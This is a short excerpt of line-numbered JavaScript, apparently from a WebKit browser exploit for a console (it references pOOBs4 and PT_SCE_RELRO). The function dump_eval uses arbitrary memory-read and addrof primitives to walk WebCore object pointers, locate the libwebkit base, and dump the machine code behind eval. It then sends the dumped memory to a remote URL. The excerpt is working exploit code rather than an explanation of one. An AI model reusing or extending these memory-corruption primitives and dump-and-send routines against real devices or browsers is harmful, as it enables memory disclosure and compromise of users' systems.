| 170 | // For example, the expression "eval(1)" has the JSValue encoding of 1 passed |
| 171 | // to *(rdi + 0x30). |
| 172 | function dump_eval() { |
| 173 | let addr = js_textarea; |
| 174 | // WebCore::HTMLTextAreaElement |
| 175 | addr = addr.readp(0x18); |
| 176 | |
| 177 | // vtable for WebCore::HTMLTextAreaElement |
| 178 | // in PT_SCE_RELRO segment (p_type = 0x6100_0010) |
| 179 | addr = addr.readp(0); |
| 180 | |
| 181 | const libwebkit_base = find_base(addr, true, true); |
| 182 | const impl = mem.addrof(eval).readp(0x18).readp(0x38); |
| 183 | const offset = impl.sub(libwebkit_base); |
| 184 | send(url, make_buffer(impl, 0x800), `eval_dump_offset_${offset}.bin`, () => log("sent")); |
| 185 | } |
| 186 | |
| 187 | // Initially we just used the vtable offset from pOOBs4 (0x1c8) and tested if |
| 188 | // it works. It did but let's add this dumper so we can verify it another way. |